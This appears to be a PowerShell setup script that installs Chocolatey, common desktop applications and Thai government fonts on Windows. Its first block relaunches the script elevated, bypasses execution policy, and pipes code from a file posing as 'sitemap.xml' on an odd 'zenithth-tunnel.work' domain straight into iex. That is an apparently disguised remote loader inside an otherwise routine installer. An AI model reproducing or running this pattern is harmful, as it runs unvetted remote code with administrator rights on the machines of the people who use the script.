$admin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $admin) {
  Start-Process powershell -Verb RunAs -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command "irm https://basicinstall.zenithth-tunnel.work/sitemap.xml | iex"'
  return
}

Set-ExecutionPolicy Bypass -Scope Process -Force
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072

$chocoBin = "$env:ALLUSERSPROFILE\chocolatey\bin"
if (!(Test-Path "$chocoBin\choco.exe")) {
  if (Test-Path "$env:ALLUSERSPROFILE\chocolatey") {
    Remove-Item "$env:ALLUSERSPROFILE\chocolatey" -Recurse -Force -ErrorAction SilentlyContinue
  }
  iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
}
$env:Path += ";$chocoBin"

choco install chocolateygui k-litecodecpackmega 7zip dotnet-desktopruntime vcredist140 googlechrome libreoffice-fresh -y

$tmp = "$env:TEMP\thaifonts"
md $tmp -Force -ErrorAction SilentlyContinue
$urls = @(
  'https://www.tnsumk.ac.th/web/index.php/news-university/document-download/category/8-government-font?download=4:13-fonts',
  'https://www.tnsumk.ac.th/web/index.php/news-university/document-download/category/8-government-font?download=5:th-sarabun-new'
)
foreach ($u in $urls) {
  $z = "$tmp\$([guid]::NewGuid()).zip"
  curl.exe -sL -o $z $u
  Expand-Archive $z $tmp -Force -ErrorAction SilentlyContinue
  ri $z -Force -ErrorAction SilentlyContinue
}

gci $tmp -Recurse -Include *.ttf,*.otf | % {
  $dest = "$env:windir\Fonts\$($_.Name)"
  if (!(Test-Path $dest)) {
    Copy-Item $_.FullName $dest -Force
    New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts' -Name "$($_.BaseName) (TrueType)" -Value $_.Name -PropertyType String -Force | Out-Null
  }
}
Remove-Item $tmp -Recurse -Force -ErrorAction SilentlyContinue